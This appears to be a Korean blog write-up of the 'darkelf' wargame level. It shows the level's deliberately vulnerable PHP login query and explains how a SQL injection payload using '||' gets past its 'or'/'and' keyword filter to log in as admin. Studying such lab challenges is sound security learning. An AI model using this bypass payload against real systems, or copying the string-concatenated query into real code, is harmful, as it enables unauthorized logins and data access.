여섯 번째 문제 darkelf
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
1. 식별과 인증이 동시에 이루어진다.
2. ID : admin으로 로그인하면 문제 해결이다.
3. 논리연산자( or / and)가 필터링 돼 있다.
ID값이 guest로 고정돼 있기 때문에
이 부분을 거짓으로 만들고, 뒷부분에 내가 원하는 것을 출력하게 만들어야겠다.
where id='guest' and pw='' or id = 'admin'#'
'or'를 기준으로 좌측의 조건은 거짓이기에 아무것도 출력되지 않고, 우측의 id가 admin인 행을 가져오게 된다.
?pw=' or id = 'admin'#
위와 같이 입력하니 "HeHe" 라고 나온다, 웃어?
논리연산자가 필터링 되어 있어 우회해야 한다.
논리연산자 'or'는 다른 표현으로 '||'와 같이 표현할 수 있다.
논리연산자 'and'는 다른 표현으로 '&&'와 같이 표현할 수 있다.
?pw=' || id = 'admin'%23(# = %23)
위와 같이 입력하면 클리어!
'LoSi' 카테고리의 다른 글
8_LoSi_Troll with preg_match() (0) | 2022.11.25 |
---|---|
7_LoSi_orge (1) | 2022.11.24 |
5_LoSi_wolfman with whitespace 우회 (0) | 2022.11.23 |
4_LoSi_orc with addslashes() / substr() (1) | 2022.11.23 |
3_LoSi_goblin (0) | 2022.11.22 |